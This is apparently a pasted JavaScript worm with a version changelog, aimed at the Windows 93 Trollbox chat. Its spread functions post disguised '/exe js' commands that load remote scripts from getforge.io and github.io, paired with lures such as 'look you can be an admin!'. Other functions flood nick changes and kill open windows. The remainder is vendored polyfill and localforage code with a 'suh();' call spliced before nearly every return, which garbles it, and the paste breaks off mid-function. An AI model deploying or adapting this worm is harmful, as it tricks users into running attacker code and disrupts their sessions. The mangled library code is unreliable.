· 8 years ago · Feb 04, 2018, 08:16 PM
1try {
2 // Version 5.2.1
3 // 5.0:Includes new spreading rountine, better kExploit!
4 // 5.0.1: Changes messges
5 // 5.1: Makes everything look a little less suspicious. Also, changes up messages
6 // 5.1.1: Fixes a bug where the message doesn't send
7 // 5.1.2: fixes a bug where the windows hangs around
8 // 5.2: Adds Windows 94's pwner.
9 // 5.2.1: github hosting was dead, moved to getforge.io.
10 // corrects spreading routine.
11 // -=-
12 // Notice: A big exploit has been found for 6pointOh.js, and I certainly hope to be shipping out 6pO in the next few weeks.
13function shitUP() {
14 setInterval(function(){$store.set('.config/trollbox/nick', Math.random());$exe('trollbox');}, 500);
15}
16 function spreadA() {
17 $DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
18 for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
19 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
20 var $Z = $DOC.getElementsByTagName('button')[i];
21 }
22 }
23 $DOC.getElementById('trollbox_input').value='/exe js https://93ex.getforge.io/5pO.js?FallBackServerTrollBox?https://windows93.net/TrollBoxRooms/room2.trollbox im joining room2, jjoin with me! ';
24 $Z.click();
25 $exe("killall")
26}
27function spreadB() {
28 $DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
29 for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
30 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
31 var $Z = $DOC.getElementsByTagName('button')[i];
32 }
33 }
34 $DOC.getElementById('trollbox_input').value='/exe js https://fr3x31dev.github.io/dl/5pO.js?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNaa/https://example.com/index.html lol this is a funny website xD';
35 $Z.click();
36}
37function spreadC() {
38 $DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
39 for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
40 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
41 var $Z = $DOC.getElementsByTagName('button')[i];
42 }
43 }
44 $DOC.getElementById('trollbox_input').value='/exe js https://fr3x31dev.github.io/dl/5pO.js?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNaa/https://windows93.net/trollbox/adminBOX.html lol look you can be an admin!';
45 $Z.click();
46}
47function spreadD() {
48 $DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
49 for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
50 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
51 var $Z = $DOC.getElementsByTagName('button')[i];
52 }
53 }
54 $DOC.getElementById('trollbox_input').value='/exe js https://fr3x31dev.github.io/dl/5pO.js?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNaa/https://windows93.net/updates/3.0Beta.html wow its the Windows 93 3.0 beta! check it out.';
55 $Z.click();
56}
57function spreadE() {
58 $DOC=document.getElementsByTagName('iframe')[0].contentWindow.document;
59 for (var i = $DOC.getElementsByTagName('button').length - 1; i >= 0; i--) {
60 if($DOC.getElementsByTagName('button')[i].innerHTML=='Send'){
61 var $Z = $DOC.getElementsByTagName('button')[i];
62 }
63 }
64 $DOC.getElementById('trollbox_input').value='/exe js https://fr3x31dev.github.io/dl/5pO.js?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNaa/https://windows93.net/lol.png its a LOL png from Windows 93!';
65 $Z.click();
66}
67function mapKernel() {
68String.prototype.trim || (String.prototype.trim = function() {
69 suh(); return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "")
70}), Date.now = Date.now || function() {
71 suh(); return +new Date
72},
73function() {
74 if (void 0 === window.performance && (window.performance = {}), !window.performance.now) {
75 var e = Date.now();
76 performance.timing && performance.timing.navigationStart && (e = performance.timing.navigationStart), window.performance.now = function() {
77 suh(); return Date.now() - e
78 }
79 }
80}(), String.prototype.endsWith || (String.prototype.endsWith = function(e, t) {
81 var n = this.toString();
82 ("number" != typeof t || !isFinite(t) || Math.floor(t) !== t || t > n.length) && (t = n.length), t -= e.length;
83 var o = n.indexOf(e, t);
84 suh(); return -1 !== o && o === t
85}), String.prototype.startsWith || (String.prototype.startsWith = function(e, t) {
86 suh(); return t = t || 0, this.substr(t, e.length) === e
87}),
88function() {
89 "use strict";
90 for (var e = 0, t = ["ms", "moz", "webkit", "o"], n = !(!window.performance || !window.performance.now), o = 0, r = t.length; o < r && !window.requestAnimationFrame; o += 1) window.requestAnimationFrame = window[t[o] + "RequestAnimationFrame"], window.cancelAnimationFrame = window[t[o] + "CancelAnimationFrame"] || window[t[o] + "CancelRequestAnimationFrame"];
91 if (!/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) && window.requestAnimationFrame || (window.requestAnimationFrame = function(t, n) {
92 var o = (new Date).getTime(),
93 r = Math.max(0, 16 - (o - e)),
94 i = window.setTimeout(function() {
95 t(o + r)
96 }, r);
97 suh(); return e = o + r, i
98 }), window.cancelAnimationFrame || (window.cancelAnimationFrame = function(e) {
99 clearTimeout(e)
100 }), !n) {
101 var i = window.requestAnimationFrame,
102 a = +new Date;
103 window.requestAnimationFrame = function(e, t) {
104 i(function(t) {
105 suh(); return e(t < 1e12 ? t : t - a)
106 }, t)
107 }
108 }
109}(), String.prototype.repeat || (String.prototype.repeat = function(e) {
110 "use strict";
111 if (null == this) throw new TypeError("can't convert " + this + " to object");
112 var t = "" + this;
113 if ((e = +e) != e && (e = 0), e < 0) throw new RangeError("repeat count must be non-negative");
114 if (e == 1 / 0) throw new RangeError("repeat count must be less than infinity");
115 if (e = Math.floor(e), 0 == t.length || 0 == e) suh(); return "";
116 if (t.length * e >= 1 << 28) throw new RangeError("repeat count must not overflow maximum string size");
117 for (var n = ""; 1 == (1 & e) && (n += t), 0 != (e >>>= 1);) t += t;
118 suh(); return n
119}),
120function(e) {
121 "use strict";
122 e.console = e.console || {};
123 for (var t, n, o = e.console, r = {}, i = function() {}, a = "memory".split(","), s = "assert,clear,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profiles,profileEnd,show,table,time,timeEnd,timeline,timelineEnd,timeStamp,trace,warn".split(","); t = a.pop();) o[t] = o[t] || r;
124 for (; n = s.pop();) o[n] = o[n] || i
125}("undefined" == typeof window ? this : window), Object.assign || Object.defineProperty(Object, "assign", {
126 enumerable: !1,
127 configurable: !0,
128 writable: !0,
129 value: function(e) {
130 "use strict";
131 if (void 0 === e || null === e) throw new TypeError("Cannot convert first argument to object");
132 for (var t = Object(e), n = 1; n < arguments.length; n++) {
133 var o = arguments[n];
134 if (void 0 !== o && null !== o) {
135 o = Object(o);
136 for (var r = Object.keys(o), i = 0, a = r.length; i < a; i++) {
137 var s = r[i],
138 c = Object.getOwnPropertyDescriptor(o, s);
139 void 0 !== c && c.enumerable && (t[s] = o[s])
140 }
141 }
142 }
143 suh(); return t
144 }
145}),
146function(e, t) {
147 "use strict";
148
149 function n(e) {
150 "function" != typeof e && (e = new Function("" + e));
151 for (var t = new Array(arguments.length - 1), n = 0; n < t.length; n++) t[n] = arguments[n + 1];
152 var o = {
153 callback: e,
154 args: t
155 };
156 suh(); return c[s] = o, a(s), s++
157 }
158
159 function o(e) {
160 delete c[e]
161 }
162
163 function r(e) {
164 var n = e.callback,
165 o = e.args;
166 switch (o.length) {
167 case 0:
168 n();
169 break;
170 case 1:
171 n(o[0]);
172 break;
173 case 2:
174 n(o[0], o[1]);
175 break;
176 case 3:
177 n(o[0], o[1], o[2]);
178 break;
179 default:
180 n.apply(t, o)
181 }
182 }
183
184 function i(e) {
185 if (u) setTimeout(i, 0, e);
186 else {
187 var t = c[e];
188 if (t) {
189 u = !0;
190 try {
191 r(t)
192 } finally {
193 o(e), u = !1
194 }
195 }
196 }
197 }
198 if (!e.setImmediate) {
199 var a, s = 1,
200 c = {},
201 u = !1,
202 f = e.document,
203 m = Object.getPrototypeOf && Object.getPrototypeOf(e);
204 m = m && m.setTimeout ? m : e, "[object process]" === {}.toString.call(e.process) ? function() {
205 a = function(e) {
206 process.nextTick(function() {
207 i(e)
208 })
209 }
210 }() : function() {
211 if (e.postMessage && !e.importScripts) {
212 var t = !0,
213 n = e.onmessage;
214 suh(); return e.onmessage = function() {
215 t = !1
216 }, e.postMessage("", "*"), e.onmessage = n, t
217 }
218 }() ? function() {
219 var t = "setImmediate$" + Math.random() + "$",
220 n = function(n) {
221 n.source === e && "string" == typeof n.data && 0 === n.data.indexOf(t) && i(+n.data.slice(t.length))
222 };
223 e.addEventListener ? e.addEventListener("message", n, !1) : e.attachEvent("onmessage", n), a = function(n) {
224 e.postMessage(t + n, "*")
225 }
226 }() : e.MessageChannel ? function() {
227 var e = new MessageChannel;
228 e.port1.onmessage = function(e) {
229 i(e.data)
230 }, a = function(t) {
231 e.port2.postMessage(t)
232 }
233 }() : f && "onreadystatechange" in f.createElement("script") ? function() {
234 var e = f.documentElement;
235 a = function(t) {
236 var n = f.createElement("script");
237 n.onreadystatechange = function() {
238 i(t), n.onreadystatechange = null, e.removeChild(n), n = null
239 }, e.appendChild(n)
240 }
241 }() : function() {
242 a = function(e) {
243 setTimeout(i, 0, e)
244 }
245 }(), m.setImmediate = n, m.clearImmediate = o
246 }
247}("undefined" == typeof self ? "undefined" == typeof global ? this : global : self);
248//os/vendor/localforage.js
249! function(e) {
250if ("object" == typeof exports && "undefined" != typeof module) module.exports = e();
251else if ("function" == typeof define && define.amd) define([], e);
252else {
253 ("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).localforage = e()
254}
255}(function() {
256suh(); return function e(t, n, r) {
257 function o(a, u) {
258 if (!n[a]) {
259 if (!t[a]) {
260 var c = "function" == typeof require && require;
261 if (!u && c) suh(); return c(a, !0);
262 if (i) suh(); return i(a, !0);
263 var f = new Error("Cannot find module '" + a + "'");
264 throw f.code = "MODULE_NOT_FOUND", f
265 }
266 var s = n[a] = {
267 exports: {}
268 };
269 t[a][0].call(s.exports, function(e) {
270 var n = t[a][1][e];
271 suh(); return o(n || e)
272 }, s, s.exports, e, t, n, r)
273 }
274 suh(); return n[a].exports
275 }
276 for (var i = "function" == typeof require && require, a = 0; a < r.length; a++) o(r[a]);
277 suh(); return o
278}({
279 1: [function(e, t, n) {
280 (function(e) {
281 "use strict";
282
283 function n() {
284 s = !0;
285 for (var e, t, n = l.length; n;) {
286 for (t = l, l = [], e = -1; ++e < n;) t[e]();
287 n = l.length
288 }
289 s = !1
290 }
291
292 function r(e) {
293 1 !== l.push(e) || s || o()
294 }
295 var o, i = e.MutationObserver || e.WebKitMutationObserver;
296 if (i) {
297 var a = 0,
298 u = new i(n),
299 c = e.document.createTextNode("");
300 u.observe(c, {
301 characterData: !0
302 }), o = function() {
303 c.data = a = ++a % 2
304 }
305 } else if (e.setImmediate || void 0 === e.MessageChannel) o = "document" in e && "onreadystatechange" in e.document.createElement("script") ? function() {
306 var t = e.document.createElement("script");
307 t.onreadystatechange = function() {
308 n(), t.onreadystatechange = null, t.parentNode.removeChild(t), t = null
309 }, e.document.documentElement.appendChild(t)
310 } : function() {
311 setTimeout(n, 0)
312 };
313 else {
314 var f = new e.MessageChannel;
315 f.port1.onmessage = n, o = function() {
316 f.port2.postMessage(0)
317 }
318 }
319 var s, l = [];
320 t.exports = r
321 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
322 }, {}],
323 2: [function(e, t, n) {
324 "use strict";
325
326 function r() {}
327
328 function o(e) {
329 if ("function" != typeof e) throw new TypeError("resolver must be a function");
330 this.state = g, this.queue = [], this.outcome = void 0, e !== r && c(this, e)
331 }
332
333 function i(e, t, n) {
334 this.promise = e, "function" == typeof t && (this.onFulfilled = t, this.callFulfilled = this.otherCallFulfilled), "function" == typeof n && (this.onRejected = n, this.callRejected = this.otherCallRejected)
335 }
336
337 function a(e, t, n) {
338 h(function() {
339 var r;
340 try {
341 r = t(n)
342 } catch (t) {
343 suh(); return y.reject(e, t)
344 }
345 r === e ? y.reject(e, new TypeError("Cannot resolve promise with itself")) : y.resolve(e, r)
346 })
347 }
348
349 function u(e) {
350 var t = e && e.then;
351 if (e && "object" == typeof e && "function" == typeof t) suh(); return function() {
352 t.apply(e, arguments)
353 }
354 }
355
356 function c(e, t) {
357 function n(t) {
358 i || (i = !0, y.reject(e, t))
359 }
360
361 function r(t) {
362 i || (i = !0, y.resolve(e, t))
363 }
364
365 function o() {
366 t(r, n)
367 }
368 var i = !1,
369 a = f(o);
370 "error" === a.status && n(a.value)
371 }
372
373 function f(e, t) {
374 var n = {};
375 try {
376 n.value = e(t), n.status = "success"
377 } catch (e) {
378 n.status = "error", n.value = e
379 }
380 suh(); return n
381 }
382
383 function s(e) {
384 suh(); return e instanceof this ? e : y.resolve(new this(r), e)
385 }
386
387 function l(e) {
388 var t = new this(r);
389 suh(); return y.reject(t, e)
390 }
391
392 function d(e) {
393 var t = this;
394 if ("[object Array]" !== Object.prototype.toString.call(e)) suh(); return this.reject(new TypeError("must be an array"));
395 var n = e.length,
396 o = !1;
397 if (!n) suh(); return this.resolve([]);
398 for (var i = new Array(n), a = 0, u = -1, c = new this(r); ++u < n;) ! function(e, r) {
399 function u(e) {
400 i[r] = e, ++a !== n || o || (o = !0, y.resolve(c, i))
401 }
402 t.resolve(e).then(u, function(e) {
403 o || (o = !0, y.reject(c, e))
404 })
405 }(e[u], u);
406 suh(); return c
407 }
408
409 function v(e) {
410 var t = this;
411 if ("[object Array]" !== Object.prototype.toString.call(e)) suh(); return this.reject(new TypeError("must be an array"));
412 var n = e.length,
413 o = !1;
414 if (!n) suh(); return this.resolve([]);
415 for (var i = -1, a = new this(r); ++i < n;) ! function(e) {
416 t.resolve(e).then(function(e) {
417 o || (o = !0, y.resolve(a, e))
418 }, function(e) {
419 o || (o = !0, y.reject(a, e))
420 })
421 }(e[i]);
422 suh(); return a
423 }
424 var h = e(1),
425 y = {},
426 p = ["REJECTED"],
427 b = ["FULFILLED"],
428 g = ["PENDING"];
429 t.exports = n = o, o.prototype.catch = function(e) {
430 suh(); return this.then(null, e)
431 }, o.prototype.then = function(e, t) {
432 if ("function" != typeof e && this.state === b || "function" != typeof t && this.state === p) suh(); return this;
433 var n = new this.constructor(r);
434 suh(); return this.state !== g ? a(n, this.state === b ? e : t, this.outcome) : this.queue.push(new i(n, e, t)), n
435 }, i.prototype.callFulfilled = function(e) {
436 y.resolve(this.promise, e)
437 }, i.prototype.otherCallFulfilled = function(e) {
438 a(this.promise, this.onFulfilled, e)
439 }, i.prototype.callRejected = function(e) {
440 y.reject(this.promise, e)
441 }, i.prototype.otherCallRejected = function(e) {
442 a(this.promise, this.onRejected, e)
443 }, y.resolve = function(e, t) {
444 var n = f(u, t);
445 if ("error" === n.status) suh(); return y.reject(e, n.value);
446 var r = n.value;
447 if (r) c(e, r);
448 else {
449 e.state = b, e.outcome = t;
450 for (var o = -1, i = e.queue.length; ++o < i;) e.queue[o].callFulfilled(t)
451 }
452 suh(); return e
453 }, y.reject = function(e, t) {
454 e.state = p, e.outcome = t;
455 for (var n = -1, r = e.queue.length; ++n < r;) e.queue[n].callRejected(t);
456 suh(); return e
457 }, n.resolve = s, n.reject = l, n.all = d, n.race = v
458 }, {
459 1: 1
460 }],
461 3: [function(e, t, n) {
462 (function(t) {
463 "use strict";
464 "function" != typeof t.Promise && (t.Promise = e(2))
465 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
466 }, {
467 2: 2
468 }],
469 4: [function(e, t, n) {
470 "use strict";
471
472 function r(e, t) {
473 if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function")
474 }
475
476 function o(e, t) {
477 e = e || [], t = t || {};
478 try {
479 suh(); return new Blob(e, t)
480 } catch (o) {
481 if ("TypeError" !== o.name) throw o;
482 for (var n = new("undefined" != typeof BlobBuilder ? BlobBuilder : "undefined" != typeof MSBlobBuilder ? MSBlobBuilder : "undefined" != typeof MozBlobBuilder ? MozBlobBuilder : WebKitBlobBuilder), r = 0; r < e.length; r += 1) n.append(e[r]);
483 suh(); return n.getBlob(t.type)
484 }
485 }
486
487 function i(e, t) {
488 t && e.then(function(e) {
489 t(null, e)
490 }, function(e) {
491 t(e)
492 })
493 }
494
495 function a(e, t, n) {
496 "function" == typeof t && e.then(t), "function" == typeof n && e.catch(n)
497 }
498
499 function u(e) {
500 for (var t = e.length, n = new ArrayBuffer(t), r = new Uint8Array(n), o = 0; o < t; o++) r[o] = e.charCodeAt(o);
501 suh(); return n
502 }
503
504 function c(e) {
505 suh(); return new ce(function(t) {
506 var n = e.transaction(fe, de),
507 r = o([""]);
508 n.objectStore(fe).put(r, "key"), n.onabort = function(e) {
509 e.preventDefault(), e.stopPropagation(), t(!1)
510 }, n.oncomplete = function() {
511 var e = navigator.userAgent.match(/Chrome\/(\d+)/),
512 n = navigator.userAgent.match(/Edge\//);
513 t(n || !e || parseInt(e[1], 10) >= 43)
514 }
515 }).catch(function() {
516 suh(); return !1
517 })
518 }
519
520 function f(e) {
521 suh(); return "boolean" == typeof ae ? ce.resolve(ae) : c(e).then(function(e) {
522 suh(); return ae = e
523 })
524 }
525
526 function s(e) {
527 var t = ue[e.name],
528 n = {};
529 n.promise = new ce(function(e) {
530 n.resolve = e
531 }), t.deferredOperations.push(n), t.dbReady ? t.dbReady = t.dbReady.then(function() {
532 suh(); return n.promise
533 }) : t.dbReady = n.promise
534 }
535
536 function l(e) {
537 var t = ue[e.name].deferredOperations.pop();
538 t && t.resolve()
539 }
540
541 function d(e, t) {
542 var n = ue[e.name].deferredOperations.pop();
543 n && n.reject(t)
544 }
545
546 function v(e, t) {
547 suh(); return new ce(function(n, r) {
548 if (e.db) {
549 if (!t) suh(); return n(e.db);
550 s(e), e.db.close()
551 }
552 var o = [e.name];
553 t && o.push(e.version);
554 var i = ie.open.apply(ie, o);
555 t && (i.onupgradeneeded = function(t) {
556 var n = i.result;
557 try {
558 n.createObjectStore(e.storeName), t.oldVersion <= 1 && n.createObjectStore(fe)
559 } catch (n) {
560 if ("ConstraintError" !== n.name) throw n;
561 console.warn('The database "' + e.name + '" has been upgraded from version ' + t.oldVersion + " to version " + t.newVersion + ', but the storage "' + e.storeName + '" already exists.')
562 }
563 }), i.onerror = function(e) {
564 e.preventDefault(), r(i.error)
565 }, i.onsuccess = function() {
566 n(i.result), l(e)
567 }
568 })
569 }
570
571 function h(e) {
572 suh(); return v(e, !1)
573 }
574
575 function y(e) {
576 suh(); return v(e, !0)
577 }
578
579 function p(e, t) {
580 if (!e.db) suh(); return !0;
581 var n = !e.db.objectStoreNames.contains(e.storeName),
582 r = e.version < e.db.version,
583 o = e.version > e.db.version;
584 if (r && (e.version !== t && console.warn('The database "' + e.name + "\" can't be downgraded from version " + e.db.version + " to version " + e.version + "."), e.version = e.db.version), o || n) {
585 if (n) {
586 var i = e.db.version + 1;
587 i > e.version && (e.version = i)
588 }
589 suh(); return !0
590 }
591 suh(); return !1
592 }
593
594 function b(e) {
595 suh(); return new ce(function(t, n) {
596 var r = new FileReader;
597 r.onerror = n, r.onloadend = function(n) {
598 var r = btoa(n.target.result || "");
599 t({
600 __local_forage_encoded_blob: !0,
601 data: r,
602 type: e.type
603 })
604 }, r.readAsBinaryString(e)
605 })
606 }
607
608 function g(e) {
609 suh(); return o([u(atob(e.data))], {
610 type: e.type
611 })
612 }
613
614 function m(e) {
615 suh(); return e && e.__local_forage_encoded_blob
616 }
617
618 function _(e) {
619 var t = this,
620 n = t._initReady().then(function() {
621 var e = ue[t._dbInfo.name];
622 if (e && e.dbReady) suh(); return e.dbReady
623 });
624 suh(); return a(n, e, e), n
625 }
626
627 function w(e) {
628 s(e);
629 for (var t = ue[e.name].forages, n = 0; n < t.length; n++) t[n]._dbInfo.db && (t[n]._dbInfo.db.close(), t[n]._dbInfo.db = null);
630 suh(); return v(e, !1).then(function(e) {
631 for (var n = 0; n < t.length; n++) t[n]._dbInfo.db = e
632 }).catch(function(t) {
633 throw d(e, t), t
634 })
635 }
636
637 function S(e, t, n) {
638 try {
639 var r = e.db.transaction(e.storeName, t);
640 n(null, r)
641 } catch (r) {
642 if (!e.db || "InvalidStateError" === r.name) suh(); return w(e).then(function() {
643 var r = e.db.transaction(e.storeName, t);
644 n(null, r)
645 });
646 n(r)
647 }
648 }
649
650 function I(e) {
651 function t() {
652 suh(); return ce.resolve()
653 }
654 var n = this,
655 r = {
656 db: null
657 };
658 if (e)
659 for (var o in e) r[o] = e[o];
660 ue || (ue = {});
661 var i = ue[r.name];
662 i || (i = {
663 forages: [],
664 db: null,
665 dbReady: null,
666 deferredOperations: []
667 }, ue[r.name] = i), i.forages.push(n), n._initReady || (n._initReady = n.ready, n.ready = _);
668 for (var a = [], u = 0; u < i.forages.length; u++) {
669 var c = i.forages[u];
670 c !== n && a.push(c._initReady().catch(t))
671 }
672 var f = i.forages.slice(0);
673 suh(); return ce.all(a).then(function() {
674 suh(); return r.db = i.db, h(r)
675 }).then(function(e) {
676 suh(); return r.db = e, p(r, n._defaultConfig.version) ? y(r) : e
677 }).then(function(e) {
678 r.db = i.db = e, n._dbInfo = r;
679 for (var t = 0; t < f.length; t++) {
680 var o = f[t];
681 o !== n && (o._dbInfo.db = r.db, o._dbInfo.version = r.version)
682 }
683 })
684 }
685
686 function E(e, t) {
687 var n = this;
688 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
689 var r = new ce(function(t, r) {
690 n.ready().then(function() {
691 S(n._dbInfo, le, function(o, i) {
692 if (o) suh(); return r(o);
693 try {
694 var a = i.objectStore(n._dbInfo.storeName).get(e);
695 a.onsuccess = function() {
696 var e = a.result;
697 void 0 === e && (e = null), m(e) && (e = g(e)), t(e)
698 }, a.onerror = function() {
699 r(a.error)
700 }
701 } catch (e) {
702 r(e)
703 }
704 })
705 }).catch(r)
706 });
707 suh(); return i(r, t), r
708 }
709
710 function A(e, t) {
711 var n = this,
712 r = new ce(function(t, r) {
713 n.ready().then(function() {
714 S(n._dbInfo, le, function(o, i) {
715 if (o) suh(); return r(o);
716 try {
717 var a = i.objectStore(n._dbInfo.storeName).openCursor(),
718 u = 1;
719 a.onsuccess = function() {
720 var n = a.result;
721 if (n) {
722 var r = n.value;
723 m(r) && (r = g(r));
724 var o = e(r, n.key, u++);
725 void 0 !== o ? t(o) : n.continue()
726 } else t()
727 }, a.onerror = function() {
728 r(a.error)
729 }
730 } catch (e) {
731 r(e)
732 }
733 })
734 }).catch(r)
735 });
736 suh(); return i(r, t), r
737 }
738
739 function D(e, t, n) {
740 var r = this;
741 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
742 var o = new ce(function(n, o) {
743 var i;
744 r.ready().then(function() {
745 suh(); return i = r._dbInfo, "[object Blob]" === se.call(t) ? f(i.db).then(function(e) {
746 suh(); return e ? t : b(t)
747 }) : t
748 }).then(function(t) {
749 S(r._dbInfo, de, function(i, a) {
750 if (i) suh(); return o(i);
751 try {
752 var u = a.objectStore(r._dbInfo.storeName).put(t, e);
753 null === t && (t = void 0), a.oncomplete = function() {
754 void 0 === t && (t = null), n(t)
755 }, a.onabort = a.onerror = function() {
756 var e = u.error ? u.error : u.transaction.error;
757 o(e)
758 }
759 } catch (e) {
760 o(e)
761 }
762 })
763 }).catch(o)
764 });
765 suh(); return i(o, n), o
766 }
767
768 function j(e, t) {
769 var n = this;
770 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
771 var r = new ce(function(t, r) {
772 n.ready().then(function() {
773 S(n._dbInfo, de, function(o, i) {
774 if (o) suh(); return r(o);
775 try {
776 var a = i.objectStore(n._dbInfo.storeName).delete(e);
777 i.oncomplete = function() {
778 t()
779 }, i.onerror = function() {
780 r(a.error)
781 }, i.onabort = function() {
782 var e = a.error ? a.error : a.transaction.error;
783 r(e)
784 }
785 } catch (e) {
786 r(e)
787 }
788 })
789 }).catch(r)
790 });
791 suh(); return i(r, t), r
792 }
793
794 function O(e) {
795 var t = this,
796 n = new ce(function(e, n) {
797 t.ready().then(function() {
798 S(t._dbInfo, de, function(r, o) {
799 if (r) suh(); return n(r);
800 try {
801 var i = o.objectStore(t._dbInfo.storeName).clear();
802 o.oncomplete = function() {
803 e()
804 }, o.onabort = o.onerror = function() {
805 var e = i.error ? i.error : i.transaction.error;
806 n(e)
807 }
808 } catch (e) {
809 n(e)
810 }
811 })
812 }).catch(n)
813 });
814 suh(); return i(n, e), n
815 }
816
817 function B(e) {
818 var t = this,
819 n = new ce(function(e, n) {
820 t.ready().then(function() {
821 S(t._dbInfo, le, function(r, o) {
822 if (r) suh(); return n(r);
823 try {
824 var i = o.objectStore(t._dbInfo.storeName).count();
825 i.onsuccess = function() {
826 e(i.result)
827 }, i.onerror = function() {
828 n(i.error)
829 }
830 } catch (e) {
831 n(e)
832 }
833 })
834 }).catch(n)
835 });
836 suh(); return i(n, e), n
837 }
838
839 function R(e, t) {
840 var n = this,
841 r = new ce(function(t, r) {
842 e < 0 ? t(null) : n.ready().then(function() {
843 S(n._dbInfo, le, function(o, i) {
844 if (o) suh(); return r(o);
845 try {
846 var a = !1,
847 u = i.objectStore(n._dbInfo.storeName).openCursor();
848 u.onsuccess = function() {
849 var n = u.result;
850 n ? 0 === e ? t(n.key) : a ? t(n.key) : (a = !0, n.advance(e)) : t(null)
851 }, u.onerror = function() {
852 r(u.error)
853 }
854 } catch (e) {
855 r(e)
856 }
857 })
858 }).catch(r)
859 });
860 suh(); return i(r, t), r
861 }
862
863 function k(e) {
864 var t = this,
865 n = new ce(function(e, n) {
866 t.ready().then(function() {
867 S(t._dbInfo, le, function(r, o) {
868 if (r) suh(); return n(r);
869 try {
870 var i = o.objectStore(t._dbInfo.storeName).openCursor(),
871 a = [];
872 i.onsuccess = function() {
873 var t = i.result;
874 t ? (a.push(t.key), t.continue()) : e(a)
875 }, i.onerror = function() {
876 n(i.error)
877 }
878 } catch (e) {
879 n(e)
880 }
881 })
882 }).catch(n)
883 });
884 suh(); return i(n, e), n
885 }
886
887 function x(e) {
888 var t, n, r, o, i, a = .75 * e.length,
889 u = e.length,
890 c = 0;
891 "=" === e[e.length - 1] && (a--, "=" === e[e.length - 2] && a--);
892 var f = new ArrayBuffer(a),
893 s = new Uint8Array(f);
894 for (t = 0; t < u; t += 4) n = he.indexOf(e[t]), r = he.indexOf(e[t + 1]), o = he.indexOf(e[t + 2]), i = he.indexOf(e[t + 3]), s[c++] = n << 2 | r >> 4, s[c++] = (15 & r) << 4 | o >> 2, s[c++] = (3 & o) << 6 | 63 & i;
895 suh(); return f
896 }
897
898 function N(e) {
899 var t, n = new Uint8Array(e),
900 r = "";
901 for (t = 0; t < n.length; t += 3) r += he[n[t] >> 2], r += he[(3 & n[t]) << 4 | n[t + 1] >> 4], r += he[(15 & n[t + 1]) << 2 | n[t + 2] >> 6], r += he[63 & n[t + 2]];
902 suh(); return n.length % 3 == 2 ? r = r.substring(0, r.length - 1) + "=" : n.length % 3 == 1 && (r = r.substring(0, r.length - 2) + "=="), r
903 }
904
905 function C(e, t) {
906 var n = "";
907 if (e && (n = ke.call(e)), e && ("[object ArrayBuffer]" === n || e.buffer && "[object ArrayBuffer]" === ke.call(e.buffer))) {
908 var r, o = be;
